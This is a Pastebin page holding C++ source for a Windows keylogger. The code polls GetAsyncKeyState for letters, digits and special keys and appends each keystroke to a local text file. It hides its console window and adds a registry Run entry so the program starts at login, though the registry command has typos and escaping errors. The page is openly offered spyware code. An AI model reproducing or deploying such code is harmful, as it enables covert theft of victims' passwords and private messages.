Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "key.h"
- void turnOn()
- {
- int t;
- int temp;
- while (true)
- {
- for (t = 65; t < 91; t++)
- {
- temp = GetAsyncKeyState(t);
- if (temp == -32767 && !GetAsyncKeyState(VK_SHIFT)) //a-z
- {
- cout << (char)(t + 32);
- saveLoggs(t + 32);
- }
- if (temp == -32767 && GetAsyncKeyState(VK_SHIFT)) //A-Z
- {
- cout << (char)t;
- saveLoggs(t);
- }
- }
- for (t = 48; t < 58; t++)
- {
- temp = GetAsyncKeyState(t);
- if (temp == -32767 && !GetAsyncKeyState(VK_SHIFT)) // 0-9
- {
- cout << (char)t;
- saveLoggs(t);
- }
- }
- if (GetAsyncKeyState(VK_SPACE) == -32767)
- {
- cout << " [SPACJA] ";
- saveLoggs(32);
- }
- if (GetAsyncKeyState(VK_BACK) == -32767)
- cout << " [BACK] ";
- if (GetAsyncKeyState(VK_ESCAPE) == -32767)
- cout << " [ESCAPE] ";
- if (GetAsyncKeyState(VK_LBUTTON) == -32767)
- cout << " [LBUTTON] ";
- if (GetAsyncKeyState(VK_RBUTTON) == -32767)
- cout << " [RBUTTON] ";
- if (GetAsyncKeyState(VK_DELETE) == -32767)
- cout << " [DEL] ";
- if (GetAsyncKeyState(VK_TAB) == -32767)
- cout << " [TAB] ";
- if (GetAsyncKeyState(VK_RETURN) == -32767)
- cout << " [ENTER] ";
- if (GetAsyncKeyState(VK_CAPITAL) == -32767)
- cout << " [CAPS LOCK] ";
- if (GetAsyncKeyState(VK_SNAPSHOT) == -32767)
- cout << " [PRINT SCREEN ] ";
- if (GetAsyncKeyState(VK_MENU) == -32767)
- cout << " [ALT] ";
- if (GetAsyncKeyState(VK_CONTROL) == -32767)
- cout << " [CRTL] ";
- }
- }
- void saveLoggs(int a)
- {
- fstream jebac;
- jebac.open("ruchac.txt", ios::out | ios::app);
- jebac <<char(a);
- jebac.close();
- }
- void hiddenConsole()
- {
- FreeConsole();
- }
- void addToAutostart()
- {
- string komenda = "reg ADD HKCU\\Software\\Microfsoft\Windows\\CurrentVersion\\Run /v KeyloggerTest /t REG_SZ //d C:\\keylogger.exe";
- system(komenda.c_str());
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement